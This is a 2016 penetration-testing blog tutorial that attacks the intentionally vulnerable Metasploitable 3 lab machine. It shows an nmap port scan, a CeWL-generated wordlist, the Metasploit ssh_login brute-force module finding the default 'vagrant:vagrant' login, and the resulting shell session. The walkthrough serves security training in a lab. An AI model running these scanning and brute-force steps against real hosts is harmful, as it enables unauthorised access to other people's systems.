

# Metasploitable 3 Exploitation using Brute forcing SSH

December 13, 2016 By Raj Chandel

**Target: Metasploitable 3**

**Attacker: Kali Linux**

Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.

**nmap -p- -sV 192.168.1.8**

```
root@kali:~# nmap -p- -sV 192.168.1.8

Starting Nmap 7.30 ( https://nmap.org ) at 2016-12-12 03:03 EST
Nmap scan report for 192.168.1.8
Host is up (0.027s latency).
Not shown: 65521 filtered ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
22/tcp    open  ssh          OpenSSH 7.1 (protocol 2.0)
80/tcp    open  http         Microsoft IIS httpd 7.5
1617/tcp  open  nimrod-agent?
4848/tcp  open  ssl/http     Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp  open  http         Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)
8282/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8585/tcp  open  http         Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV/2)
9200/tcp  open  http         Elasticsearch REST API 1.1.1 (name: Jeffrey Mace; Lucene 4.7)
49153/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49178/tcp open  unknown
49180/tcp open  tcpwrapped
MAC Address: B0:C0:90:48:11:4F (Chicony Electronics)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

In previous article it's about FTP Login attack read from here.

So here you can see all available open ports and their services today this article will cover SSH login attack for which we required open SSH port luckily in Metasploit3 open 22 is open for SSH service So let's exploit it for this we need a dictionary file. To make a dictionary file type the following command:

**cewl https://github.com/rapid/metasploitable3/wiki -m 7 -d 0 -w /root/Desktop/dict.txt**

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.

```
root@kali:~# cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 0 -w /root/Desktop/pass.txt
CeWL 5.2 (Some Chaos) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
```

Collect the wordlist from CeWL,

Start Metasploit framework by typing msfconsole on the terminal.



This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database, this module will record successful logins and hosts so you can track your access.

**use auxiliary/scanner/ssh/ssh\_login**

**msf auxiliary(ssh\_login)>set rhosts 192.168.1.8**

**msf auxiliary (ssh\_login)>set port 22**

**msf auxiliary (ssh\_login)>set username vagrant**

**msf auxiliary(ssh\_login)>set pass\_file /root/Desktop/pass.txt**

**msf auxiliary(ssh\_login)>set stop\_on\_success true**

**msf auxiliary (ssh\_login)> exploit**

```

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.1.8
rhosts => 192.168.1.8
msf auxiliary(ssh_login) > set rport 22
rport => 22
msf auxiliary(ssh_login) > set username vagrant
username => vagrant
msf auxiliary(ssh_login) > set pass_file /root/Desktop/pass.txt
pass_file => /root/Desktop/pass.txt
msf auxiliary(ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(ssh_login) > exploit

[*] SSH - Starting bruteforce
[-] SSH - Failed: 'vagrant:Metasploitable'
[!] No active DB -- Credential data will not be saved!
[-] SSH - Failed: 'vagrant:metasploitable'
[-] SSH - Failed: 'vagrant:element'
[-] SSH - Failed: 'vagrant:vulnerabilities'
[-] SSH - Failed: 'vagrant:Autounattend'
[-] SSH - Failed: 'vagrant:Contributing'
[-] SSH - Failed: 'vagrant:security'
[-] SSH - Failed: 'vagrant:exploits'
[-] SSH - Failed: 'vagrant:versions'
[-] SSH - Failed: 'vagrant:approach'
[-] SSH - Failed: 'vagrant:building'
[-] SSH - Failed: 'vagrant:multiple'
[-] SSH - Failed: 'vagrant:virtualization'
[+] SSH - Success: 'vagrant:vagrant' 'sh: id: command not found GNU bash, version 4.3.39(2)-re
lease (x86_64-unknown-cygwin) These shell commands are defined internally. Type 'help' to see
this list. Type 'help name' to find out more about the function 'name'. Use 'info bash' to fi
nd out more about the shell in general. Use 'man -k' or 'info' to find out more about commands
not in this list. A star (*) next to a name means that the command is disabled. job_spec [
&]
    history [-c] [-d offset] [n] or hist> (( expression ))
    if COMMANDS; then COMMANDS; [ elif C> . filename [arguments]
jobs [-lnprs] [jobspec ...] or jobs > :
c | -n signum | -sigs> [ arg... ]
on ]]
    local [option] name[=value] ... alias [-p] [name[=value] ... ]
    logout [n] bg [job_spec ...]
c> bind [-lpsvPSVX] [-m keymap] [-f file> popd [-n] [+N | -N] break [n]

```

This'll dump the credential as the username: **vagrant** and password: **vagrant** successful login for SSH connection moreover provides the session for victim's shell.

```

msf auxiliary(ssh_login) > sessions

Active sessions
=====
Id  Type  Information                                     Connection
--  --
1   shell SSH vagrant:vagrant (192.168.1.8:22) 192.168.1.38:35199 -> 19
2.168.1.8:22 (192.168.1.8)

msf auxiliary(ssh_login) > sessions -i 1
[*] Starting interaction with 1...

whoami
metasploitable3\sshd_server

```